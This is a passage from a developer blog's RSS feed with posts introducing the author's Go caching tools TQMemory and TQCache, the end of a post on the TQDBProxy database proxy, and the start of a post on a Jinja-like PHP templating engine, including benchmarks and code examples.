during warmup.</p>
<p>When a cache entry is expired, the first request after expiry triggers a refresh
(blocking until the new value is available). Subsequent requests during the
refresh serve stale data until the refresh completes. This prevents concurrent
queries for the same key during refresh.</p>
<p>Non-cacheable queries, such as INSERT, UPDATE, DELETE, SELECT queries without a
TTL hint, or queries that are part of a transaction always go to the primary of
the selected shard.</p>
<p>The proxy registers metrics for cache hits/misses, query latency, and more.</p>
<h3 id="conclusion">Conclusion</h3>
<p>TQDBProxy is not (yet) a replacement for established proxies like pgpool-II,
MaxScale, or ProxySQL, but it is trying to get there. It provides a lot of
features that have proven useful in high performance environments. It is easy to
use: install a client library, call <code>queryWithTTL()</code> instead of <code>query()</code>, and
you get caching with stale reads, replica routing, and metrics of expensive
queries by source file and line number.</p>
<p>Disclaimer: I built this as a learning project. Test thoroughly before
production use.</p>
<p>See: <a href="https://github.com/mevdschee/tqdbproxy">https://github.com/mevdschee/tqdbproxy</a></p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://github.com/pgpool/pgpool2">pgpool-II: PostgreSQL proxy for connection pooling, caching and HA</a></li>
<li><a href="https://github.com/mariadb-corporation/MaxScale">MariaDB MaxScale: Advanced database proxy for HA and scalability</a></li>
<li><a href="https://github.com/sysown/proxysql/">ProxySQL: High Performance MySQL &amp; PostgreSQL Proxy</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>TQMemory: A Go Memcached alternative</title>
      <link>https://www.tqdev.com/2026-tqmemory-memcached-alternative/</link>
      <pubDate>Sat, 17 Jan 2026 12:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2026-tqmemory-memcached-alternative/</guid>
      <description>&lt;p&gt;I have built TQMemory as a high-performance, in-memory cache that can be used as
a drop-in replacement for Memcached. It uses the same CLI flags, speaks the same
protocol, and under some conditions it exceeds Memcached performance. When used
as a Go package, it circumvents network, and can handle over 2.5 million GET
requests per second (about 9x faster than Memcached over sockets).&lt;/p&gt;
&lt;p&gt;See: &lt;a href=&#34;https://github.com/mevdschee/tqmemory&#34;&gt;https://github.com/mevdschee/tqmemory&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;what-is-tqmemory&#34;&gt;What is TQMemory?&lt;/h3&gt;
&lt;p&gt;TQMemory is implemented in Go, and can be used as both as an embedded library
and as a standalone server. It speaks the Memcached protocol (both text and
binary), meaning that in server mode it works out-of-the-box with existing
clients.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I have built TQMemory as a high-performance, in-memory cache that can be used as
a drop-in replacement for Memcached. It uses the same CLI flags, speaks the same
protocol, and under some conditions it exceeds Memcached performance. When used
as a Go package, it circumvents network, and can handle over 2.5 million GET
requests per second (about 9x faster than Memcached over sockets).</p>
<p>See: <a href="https://github.com/mevdschee/tqmemory">https://github.com/mevdschee/tqmemory</a></p>
<h3 id="what-is-tqmemory">What is TQMemory?</h3>
<p>TQMemory is implemented in Go, and can be used as both as an embedded library
and as a standalone server. It speaks the Memcached protocol (both text and
binary), meaning that in server mode it works out-of-the-box with existing
clients.</p>
<h3 id="performance">Performance</h3>
<p>TQMemory is optimized for write-heavy workloads with larger values, such as SQL
query results. Benchmarks were run with Unix sockets, 10 clients, and 10KB
values:</p>
<p><a href="/uploads/2026/getset_benchmark.png">
  
    <img src="/uploads/2026/getset_benchmark_hu_7e0c230a157bf8d.webp" alt="Benchmark Chart"  />
  
</a></p>
<p>With 4 threads (and over sockets), TQMemory achieves <strong>225K SET</strong> and <strong>261K
GET</strong> requests per second, compared to Memcached&rsquo;s 149K SET and 281K GET. This
means SET operations are about <strong>51% faster</strong> than Memcached, while GET
operations are roughly 7% slower.</p>
<p>I measured that about 80% of the overhead of TQMemory GET was due to network
I/O. That&rsquo;s why when you embed TQMemory as a package in your Go application, it
is significantly faster. With 4 threads, the embedded package achieves <strong>403K
SET</strong> and <strong>2.6M GET</strong> requests per second. In certain niche use cases, such
high performance can be a game-changer.</p>
<h3 id="how-it-works">How it Works</h3>
<p>TQMemory uses a sharded, lock-free worker-based architecture:</p>
<ul>
<li><strong>Sharded Cache</strong>: Keys are distributed across workers via FNV-1a hash</li>
<li><strong>Lock-Free Workers</strong>: Each shard has a dedicated goroutine handling all
operations via a channel</li>
<li><strong>No Locks</strong>: Single-threaded per shard means no RWMutex or lock contention</li>
<li><strong>LRU Eviction</strong>: When memory limit is reached, least recently used items are
evicted</li>
</ul>
<p>Each worker maintains its own map for O(1) lookups, a min-heap for TTL
expiration, and a linked list for LRU ordering. This provides predictable
latency and simple reasoning about concurrency.</p>
<h3 id="use-case-sql-query-result-caching">Use Case: SQL Query Result Caching</h3>
<p>The primary use case I have built TQMemory for is caching expensive database
queries. When embedded as a Go package, you get near-instant cache hits:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">import</span> <span class="s">&#34;github.com/mevdschee/tqmemory/pkg/tqmemory&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Initialize: 4 shards, 512MB memory limit</span>
</span></span><span class="line"><span class="cl"><span class="nx">cache</span> <span class="o">:=</span> <span class="nx">tqmemory</span><span class="p">.</span><span class="nf">NewShardedCache</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mi">512</span><span class="o">*</span><span class="mi">1024</span><span class="o">*</span><span class="mi">1024</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">func</span> <span class="nf">GetProducts</span><span class="p">(</span><span class="nx">db</span> <span class="o">*</span><span class="nx">sql</span><span class="p">.</span><span class="nx">DB</span><span class="p">,</span> <span class="nx">categoryID</span> <span class="kt">int</span><span class="p">)</span> <span class="p">([]</span><span class="nx">Product</span><span class="p">,</span> <span class="kt">error</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">key</span> <span class="o">:=</span> <span class="nx">fmt</span><span class="p">.</span><span class="nf">Sprintf</span><span class="p">(</span><span class="s">&#34;products:cat:%d&#34;</span><span class="p">,</span> <span class="nx">categoryID</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="c1">// Cache hit: ~2.6M RPS capable</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nx">data</span><span class="p">,</span> <span class="nx">_</span><span class="p">,</span> <span class="nx">err</span> <span class="o">:=</span> <span class="nx">cache</span><span class="p">.</span><span class="nf">Get</span><span class="p">(</span><span class="nx">key</span><span class="p">);</span> <span class="nx">err</span> <span class="o">==</span> <span class="kc">nil</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kd">var</span> <span class="nx">products</span> <span class="p">[]</span><span class="nx">Product</span>
</span></span><span class="line"><span class="cl">        <span class="nx">json</span><span class="p">.</span><span class="nf">Unmarshal</span><span class="p">(</span><span class="nx">data</span><span class="p">,</span> <span class="o">&amp;</span><span class="nx">products</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nx">products</span><span class="p">,</span> <span class="kc">nil</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="c1">// Cache miss: query database</span>
</span></span><span class="line"><span class="cl">    <span class="nx">products</span><span class="p">,</span> <span class="nx">err</span> <span class="o">:=</span> <span class="nf">queryProductsFromDB</span><span class="p">(</span><span class="nx">db</span><span class="p">,</span> <span class="nx">categoryID</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nx">err</span> <span class="o">!=</span> <span class="kc">nil</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="kc">nil</span><span class="p">,</span> <span class="nx">err</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="c1">// Cache for 5 minutes</span>
</span></span><span class="line"><span class="cl">    <span class="nx">data</span><span class="p">,</span> <span class="nx">_</span> <span class="o">:=</span> <span class="nx">json</span><span class="p">.</span><span class="nf">Marshal</span><span class="p">(</span><span class="nx">products</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nx">cache</span><span class="p">.</span><span class="nf">Set</span><span class="p">(</span><span class="nx">key</span><span class="p">,</span> <span class="nx">data</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">300</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">products</span><span class="p">,</span> <span class="kc">nil</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h3 id="conclusion">Conclusion</h3>
<p>TQMemory is a specialized tool for Go developers who want a faster Memcache
using in-process caching. I cannot recommend it as a replacement for Memcached
as a network service, as Memcached has slightly better read performance (GET is
~7% faster) and TQMemory is not battle tested, while Memcached is rock solid.</p>
<p>Disclaimer: I&rsquo;ve built TQMemory as a learning project for high performance
caching. While benchmarks are promising, test thoroughly before using it in
production.</p>
<p>NB: You may want to check out
&ldquo;<a href="https://github.com/maypok86/otter">Otter: In-memory caching library</a>&rdquo; as it
seems to be a very performant and highly optimized option for Go programmers
that is actually used by large projects like Centrifugo and FrankenPHP.</p>
<p>See: <a href="https://github.com/mevdschee/tqmemory">https://github.com/mevdschee/tqmemory</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>TQCache: A Go Redis/Memcached alternative</title>
      <link>https://www.tqdev.com/2026-tqcache-memcache-redis-alternative/</link>
      <pubDate>Fri, 09 Jan 2026 12:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2026-tqcache-memcache-redis-alternative/</guid>
      <description>&lt;p&gt;I have built TQCache as a fast and simple key-value store that can be used as a
drop-in replacement for Memcached or as an alternative to Redis. While surely
not as mature, it does offer a specific set of trade-offs that may interest you.
It is designed for workloads where both memory efficiency and persistence are
priorities, such as session storage.&lt;/p&gt;
&lt;p&gt;See: &lt;a href=&#34;https://github.com/mevdschee/tqcache&#34;&gt;https://github.com/mevdschee/tqcache&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;what-is-tqcache&#34;&gt;What is TQCache?&lt;/h3&gt;
&lt;p&gt;Implemented in Go, TQCache works as both an embeddable library and a standalone
server. It speaks the Memcached protocol (both text and binary), meaning it
works out-of-the-box with existing clients, including PHP&amp;rsquo;s native &lt;code&gt;memcached&lt;/code&gt;
session handler.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I have built TQCache as a fast and simple key-value store that can be used as a
drop-in replacement for Memcached or as an alternative to Redis. While surely
not as mature, it does offer a specific set of trade-offs that may interest you.
It is designed for workloads where both memory efficiency and persistence are
priorities, such as session storage.</p>
<p>See: <a href="https://github.com/mevdschee/tqcache">https://github.com/mevdschee/tqcache</a></p>
<h3 id="what-is-tqcache">What is TQCache?</h3>
<p>Implemented in Go, TQCache works as both an embeddable library and a standalone
server. It speaks the Memcached protocol (both text and binary), meaning it
works out-of-the-box with existing clients, including PHP&rsquo;s native <code>memcached</code>
session handler.</p>
<h3 id="the-trade-off-memory-vs-disk">The Trade-off: Memory vs. Disk</h3>
<p>The primary architectural difference between TQCache and its alternatives is how
it stores data. Memcached stores everything in RAM and it is fast. Redis
(typically) keeps the dataset in RAM for speed, periodically dumping to disk or
appending to a log for persistence. TQCache keeps only the keys in RAM, while
the actual values rely on the operating system&rsquo;s page cache and are stored on
disk (using fixed-size records).</p>
<h3 id="the-niche-advantage">The &ldquo;Niche&rdquo; Advantage</h3>
<p>This architecture makes TQCache extremely memory efficient. In benchmarks with
100,000 keys (10KB payloads), TQCache used approximately <strong>70-83MB</strong> of RAM,
whereas Redis used ~1372MB.</p>
<p>If you have a dataset larger than your available RAM, TQCache allows you to
serve it with reasonable performance, relying on fast SSDs/NVMe, whereas
Memcached would evict keys.</p>
<p><a href="/uploads/2026/getset_benchmark_periodic.png">
  
    <img src="/uploads/2026/getset_benchmark_periodic_hu_ce102e93abf062d1.webp" alt="Benchmark Graphs"  />
  
</a></p>
<p>During benchmarks, TQCache used roughly the same total memory as Redis. The
difference: it didn&rsquo;t reserve that memory. The OS kept the disk blocks hot in
its block cache, giving TQCache fast access without dedicated RAM.</p>
<h3 id="realistic-performance--limitations">Realistic Performance &amp; Limitations</h3>
<p>It is important to be realistic: TQCache is generally <strong>slower</strong> than in-memory
solutions, especially for writes, because it prioritizes durability guarantees
(or at least disk-backed storage).</p>
<p>TQCache achieves <strong>~96k RPS</strong> write throughput via socket in its periodic sync
mode, which outperforms Redis (~60k RPS). Using the package directly (no network
overhead), writes reach <strong>~180k RPS</strong>. For reads, performance is excellent:
<strong>~184k RPS</strong> via socket or <strong>~498k RPS</strong> via package, compared to Redis&rsquo;s ~100k
RPS.</p>
<p>The trade-off is CPU usage: TQCache uses approximately 4 cores (calculated as
shards/4) compared to Redis which is single-threaded (~1 core). You can limit
CPU usage by reducing shard count.</p>
<p>Additionally, TQCache is a pure Key-Value store. It does not support the rich
data structures (Sets, Sorted Sets, Lists, etc.) that make Redis so versatile.
If you use Redis for more than just <code>SET</code>/<code>GET</code>, TQCache is not a replacement.</p>
<h3 id="how-it-works">How it works</h3>
<p>The storage engine uses a lock-free, worker-based architecture with one
goroutine per shard:</p>
<ul>
<li><strong>Keys File (Disk)</strong>: Fixed-size records (1051 bytes) storing key, metadata,
and data pointer.</li>
<li><strong>Data Files (Disk)</strong>: 16 bucket files with slot sizes from 1KB to 64MB.</li>
<li><strong>B-Tree (RAM)</strong>: Maintains the key-to-record mapping for O(log n) lookups.</li>
<li><strong>Min-Heap (RAM)</strong>: Allows for efficient expiration-based cleanup.</li>
</ul>
<p>The RAM structures are rebuilt from the keys file on startup.</p>
<p>Each shard has a dedicated worker goroutine that owns all shard state. Requests
are sent via buffered channels and processed sequentially. There are no locks
needed within a shard. This provides predictable latency and simple reasoning.</p>
<p>To reduce lock contention, TQCache shards its data across 16 independent shards.
Keys are distributed using a FNV-1a hash function, allowing concurrent
operations on different shards without blocking each other.</p>
<h3 id="continuous-defragmentation">Continuous Defragmentation</h3>
<p>Instead of append-only logs with periodic compaction, TQCache uses continuous
defragmentation to keep files compact:</p>
<ul>
<li>On delete/expiry: move tail slot data to freed slot position</li>
<li>Update the moved entry&rsquo;s index to point to new slot</li>
<li>Truncate file by one slot</li>
</ul>
<p>This means files are always compact with no wasted space, O(1) allocation
(always append to end), and no fragmentation over time. About 25-33% disk space
is wasted on average due to the bucket sizing.</p>
<p>Unlike Memcached, TQCache does not support LRU eviction. Instead, it focuses on
reliable persistence with a configurable max-ttl option (which Memcached lacks).
This ensures disk space is bounded while guaranteeing data reliability.</p>
<h3 id="when-to-use-it">When to use it?</h3>
<p>TQCache shines as a persistent Memcached. It is fully compatible with PHP
sessions. Unlike Memcached, TQCache will persists sessions to disk, so you don&rsquo;t
lose all user logins if the service restarts. It may also be a match if you
value storage capacity over latency. It allows you to cache terabytes of data
without paying for terabytes of RAM. It uses a single binary (or Go library
import) with a simple fixed-size record format that is easy to back up.</p>
<h3 id="conclusion">Conclusion</h3>
<p>TQCache is not a &ldquo;Redis Killer.&rdquo; It is a specialized tool that offers the
protocol simplicity of Memcached with the persistence of Redis, all while
keeping a small memory footprint.</p>
<p>Disclaimer: I&rsquo;ve built TQCache in one weekend and it has not been tested in
production, you&rsquo;ve been warned!</p>
<p>See: <a href="https://github.com/mevdschee/tqcache">https://github.com/mevdschee/tqcache</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Jinja-like templating for HTML written in PHP</title>
      <link>https://www.tqdev.com/2026-jinja-templating-engine-html-php/</link>
      <pubDate>Sun, 04 Jan 2026 12:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2026-jinja-templating-engine-html-php/</guid>
      <description>&lt;p&gt;PHP has built-in templating, but mixing PHP and HTML gets messy quickly.
Separate template engines like Twig or Smarty add dependencies and complexity. I
wanted a small implementation with Jinja-like syntax that&amp;rsquo;s easy to understand
and modify. So I wrote MintyPHP Template.&lt;/p&gt;
&lt;p&gt;It allows you to write things like:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-jinja&#34; data-lang=&#34;jinja&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;x&#34;&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;&lt;span class=&#34;cp&#34;&gt;{{&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;title&lt;/span&gt; &lt;span class=&#34;cp&#34;&gt;}}&lt;/span&gt;&lt;span class=&#34;x&#34;&gt;&amp;lt;/h1&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;x&#34;&gt;&lt;/span&gt;&lt;span class=&#34;cp&#34;&gt;{%&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;user.is_admin&lt;/span&gt; &lt;span class=&#34;cp&#34;&gt;%}&lt;/span&gt;&lt;span class=&#34;x&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;x&#34;&gt;&amp;lt;span class=&amp;#34;badge&amp;#34;&amp;gt;Admin&amp;lt;/span&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;x&#34;&gt;&lt;/span&gt;&lt;span class=&#34;cp&#34;&gt;{%&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;endif&lt;/span&gt; &lt;span class=&#34;cp&#34;&gt;%}&lt;/span&gt;&lt;span class=&#34;x&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;x&#34;&gt;&amp;lt;ul&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;x&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;cp&#34;&gt;{%&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;item&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;items&lt;/span&gt; &lt;span class=&#34;cp&#34;&gt;%}&lt;/span&gt;&lt;span class=&#34;x&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;x&#34;&gt;  &amp;lt;li&amp;gt;&lt;/span&gt;&lt;span class=&#34;cp&#34;&gt;{{&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;item.name&lt;/span&gt; &lt;span class=&#34;cp&#34;&gt;}}&lt;/span&gt;&lt;span class=&#34;x&#34;&gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;x&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;cp&#34;&gt;{%&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;endfor&lt;/span&gt; &lt;span class=&#34;cp&#34;&gt;%}&lt;/span&gt;&lt;span class=&#34;x&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;x&#34;&gt;&amp;lt;/ul&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;All output is HTML-escaped by default. Variables use &lt;code&gt;{{ }}&lt;/code&gt;, control structures
use &lt;code&gt;{% %}&lt;/code&gt;, and comments use &lt;code&gt;{# #}&lt;/code&gt;.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>PHP has built-in templating, but mixing PHP and HTML gets messy quickly.
Separate template engines like Twig or Smarty add dependencies and complexity. I
wanted a small implementation with Jinja-like syntax that&rsquo;s easy to understand
and modify. So I wrote MintyPHP Template.</p>
<p>It allows you to write things like:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jinja" data-lang="jinja"><span class="line"><span class="cl"><span class="x">&lt;h1&gt;</span><span class="cp">{{</span> <span class="nv">title</span> <span class="cp">}}</span><span class="x">&lt;/h1&gt;
</span></span></span><span class="line"><span class="cl"><span class="x"></span><span class="cp">{%</span> <span class="k">if</span> <span class="nv">user.is_admin</span> <span class="cp">%}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x">&lt;span class=&#34;badge&#34;&gt;Admin&lt;/span&gt;
</span></span></span><span class="line"><span class="cl"><span class="x"></span><span class="cp">{%</span> <span class="k">endif</span> <span class="cp">%}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x">&lt;ul&gt;
</span></span></span><span class="line"><span class="cl"><span class="x">  </span><span class="cp">{%</span> <span class="k">for</span> <span class="nv">item</span> <span class="k">in</span> <span class="nv">items</span> <span class="cp">%}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x">  &lt;li&gt;</span><span class="cp">{{</span> <span class="nv">item.name</span> <span class="cp">}}</span><span class="x">&lt;/li&gt;
</span></span></span><span class="line"><span class="cl"><span class="x">  </span><span class="cp">{%</span> <span class="k">endfor</span> <span class="cp">%}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x">&lt;/ul&gt;
</span></span></span></code></pre></div><p>All output is HTML-escaped by default. Variables use <code>{{ }}</code>, control structures
use <code>{% %}</code>, and comments use <code>{# #}</code>.</p>
<h3 id="how-it-works">How it works</h3>
<p>The implementation uses a recursive descent parser. It tokenizes the template
into literals, variables, control structures, and comments, then processes them
in order.</p>
<p><strong>Variables</strong>: The parser extracts the expression between <code>{{ }}</code>, evaluates it
against the data context, applies any filters with the pipe operator, and
escapes the result for HTML output.</p>
<p><strong>Control Structures</strong>: It parses <code>{% if %}</code>, <code>{% for %}</code>, <code>{% extends %}</code>,
<code>{% block %}</code>, and <code>{% include %}</code> tags, recursively processes their content,
and evaluates conditions or iterates over data.</p>
<p><strong>Expressions</strong>: A full expression parser handles operators (arithmetic,
comparison, logical), dot notation for nested data access, and parentheses for
grouping. Operator precedence follows standard rules.</p>
<h3 id="variables-and-expressions">Variables and expressions</h3>
<p>Variables support dot notation for nested data:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jinja" data-lang="jinja"><span class="line"><span class="cl"><span class="cp">{{</span> <span class="nv">user.profile.name</span> <span class="cp">}}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x"></span><span class="cp">{{</span> <span class="nv">price</span> <span class="o">*</span> <span class="nv">quantity</span> <span class="cp">}}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x"></span><span class="cp">{{</span> <span class="nv">first_name</span> <span class="o">+</span> <span class="s2">&#34; &#34;</span> <span class="o">+</span> <span class="nv">last_name</span> <span class="cp">}}</span><span class="x">
</span></span></span></code></pre></div><p>The expression evaluator handles all standard operators: <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code>,
<code>%</code>, <code>==</code>, <code>!=</code>, <code>&lt;</code>, <code>&gt;</code>, <code>&lt;=</code>, <code>&gt;=</code>, <code>and</code>, <code>or</code>, <code>not</code>.</p>
<h3 id="filters">Filters</h3>
<p>Filters transform values using pipe syntax:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jinja" data-lang="jinja"><span class="line"><span class="cl"><span class="cp">{{</span> <span class="nv">name</span><span class="o">|</span><span class="nf">upper</span> <span class="cp">}}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x"></span><span class="cp">{{</span> <span class="nv">content</span><span class="o">|</span><span class="nf">truncate</span><span class="o">(</span><span class="m">100</span><span class="o">)</span> <span class="cp">}}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x"></span><span class="cp">{{</span> <span class="nv">items</span><span class="o">|</span><span class="nf">join</span><span class="o">(</span><span class="s2">&#34;, &#34;</span><span class="o">)</span> <span class="cp">}}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x"></span><span class="cp">{{</span> <span class="nv">price</span><span class="o">|</span><span class="nf">sprintf</span><span class="o">(</span><span class="s2">&#34;$%.2f&#34;</span><span class="o">)</span> <span class="cp">}}</span><span class="x">
</span></span></span></code></pre></div><p>The engine includes built-in filters: <code>upper</code>, <code>lower</code>, <code>capitalize</code>, <code>title</code>,
<code>trim</code>, <code>truncate</code>, <code>replace</code>, <code>split</code>, <code>join</code>, <code>reverse</code>, <code>abs</code>, <code>round</code>,
<code>sprintf</code>, <code>filesizeformat</code>, <code>length</code>, <code>first</code>, <code>last</code>, <code>sum</code>, <code>default</code>,
<code>attr</code>, and <code>debug</code>.</p>
<p>You can also pass custom filters as functions:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nv">$filters</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;dateFormat&#39;</span> <span class="o">=&gt;</span> <span class="nx">fn</span><span class="p">(</span><span class="nv">$date</span><span class="p">,</span> <span class="nv">$format</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">date</span><span class="p">(</span><span class="nv">$format</span><span class="p">,</span> <span class="nx">strtotime</span><span class="p">(</span><span class="nv">$date</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$html</span> <span class="o">=</span> <span class="nv">$template</span><span class="o">-&gt;</span><span class="na">render</span><span class="p">(</span><span class="nv">$content</span><span class="p">,</span> <span class="nv">$data</span><span class="p">,</span> <span class="nv">$filters</span><span class="p">);</span>
</span></span></code></pre></div><p>The <code>raw</code> filter outputs unescaped HTML.</p>
<h3 id="control-structures">Control structures</h3>
<p>If statements support <code>elseif</code> and <code>else</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jinja" data-lang="jinja"><span class="line"><span class="cl"><span class="cp">{%</span> <span class="k">if</span> <span class="nv">score</span> <span class="o">&gt;=</span> <span class="m">90</span> <span class="cp">%}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x">Grade: A
</span></span></span><span class="line"><span class="cl"><span class="x"></span><span class="cp">{%</span> <span class="k">elseif</span> <span class="nv">score</span> <span class="o">&gt;=</span> <span class="m">80</span> <span class="cp">%}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x">Grade: B
</span></span></span><span class="line"><span class="cl"><span class="x"></span><span class="cp">{%</span> <span class="k">else</span> <span class="cp">%}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x">Grade: F
</span></span></span><span class="line"><span class="cl"><span class="x"></span><span class="cp">{%</span> <span class="k">endif</span> <span class="cp">%}</span><span class="x">
</span></span></span></code></pre></div><p>For loops work with arrays and key-value pairs:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jinja" data-lang="jinja"><span class="line"><span class="cl"><span class="cp">{%</span> <span class="k">for</span> <span class="nv">fruit</span> <span class="k">in</span> <span class="nv">fruits</span> <span class="cp">%}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x">&lt;li&gt;</span><span class="cp">{{</span> <span class="nv">fruit</span> <span class="cp">}}</span><span class="x">&lt;/li&gt;
</span></span></span><span class="line"><span class="cl"><span class="x"></span><span class="cp">{%</span> <span class="k">endfor</span> <span class="cp">%}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x"></span><span class="cp">{%</span> <span class="k">for</span> <span class="nv">key</span><span class="o">,</span> <span class="nv">value</span> <span class="k">in</span> <span class="nv">items</span> <span class="cp">%}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x">&lt;tr&gt;
</span></span></span><span class="line"><span class="cl"><span class="x">  &lt;td&gt;</span><span class="cp">{{</span> <span class="nv">key</span> <span class="cp">}}</span><span class="x">&lt;/td&gt;
</span></span></span><span class="line"><span class="cl"><span class="x">  &lt;td&gt;</span><span class="cp">{{</span> <span class="nv">value</span> <span class="cp">}}</span><span class="x">&lt;/td&gt;
</span></span></span><span class="line"><span class="cl"><span class="x">&lt;/tr&gt;
</span></span></span><span class="line"><span class="cl"><span class="x"></span><span class="cp">{%</span> <span class="k">endfor</span> <span class="cp">%}</span><span class="x">
</span></span></span></code></pre></div><h3 id="tests">Tests</h3>
<p>Tests check value properties using the <code>is</code> keyword:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jinja" data-lang="jinja"><span class="line"><span class="cl"><span class="cp">{%</span> <span class="k">if</span> <span class="nv">value</span> <span class="k">is</span> <span class="nf">defined</span> <span class="cp">%}</span><span class="x"> Value exists </span><span class="cp">{%</span> <span class="k">endif</span> <span class="cp">%}</span><span class="x">
